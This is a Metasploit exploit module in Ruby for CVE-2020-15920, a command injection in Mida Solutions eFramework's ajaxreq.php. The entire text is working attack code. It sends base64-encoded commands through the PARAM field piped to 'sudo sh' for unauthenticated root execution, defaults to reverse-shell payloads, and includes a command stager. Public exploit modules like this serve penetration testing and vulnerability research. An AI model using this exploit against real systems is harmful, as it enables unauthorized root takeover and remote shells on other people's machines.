Mida Solutions eFramework ajaxreq.php Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Mida Solutions eFramework ajaxreq.php Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in Mida  
Solutions eFramework version 2.9.0 and prior.  
  
The `ajaxreq.php` file allows unauthenticated users to inject  
arbitrary commands in the `PARAM` parameter to be executed as  
the apache user. The sudo configuration permits the apache user  
to execute any command as root without providing a password,  
resulting in privileged command execution as root.  
  
This module has been successfully tested on Mida Solutions  
eFramework-C7-2.9.0 virtual appliance.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'elbae', # discovery and exploit  
'bcoles', # Metasploit  
],  
'References' =>  
[  
['CVE', '2020-15920'],  
['EDB', '48768'],  
['URL', 'https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html'],  
],  
'Payload' => { 'BadChars' => "\x00" },  
'Targets' =>  
[  
[  
'Linux (x86)', {  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'UNIX (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-07-24',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path to eFramework', '/'])  
])  
end  
  
def check  
res = execute_command('id')  
  
unless res  
return CheckCode::Safe('Connection failed')  
end  
  
unless res.body.include?('uid=')  
return CheckCode::Safe('Target is not vulnerable')  
end  
  
CheckCode::Vulnerable  
end  
  
def execute_command(cmd, _opts = {})  
vars_post = {  
'DIAGNOSIS' => ['PING', 'TRACEROUTE'].sample,  
'PARAM' => ";echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'PDC', 'ajaxreq.php'),  
'vars_post' => vars_post  
}, 5)  
  
if res && !res.body.blank?  
vprint_status("Command output: #{res.body.gsub(/<br>/, "\n")}")  
end  
  
res  
end  
  
def exploit  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
else  
execute_cmdstager(linemax: 1_500, background: true)  
end  
end  
end  
`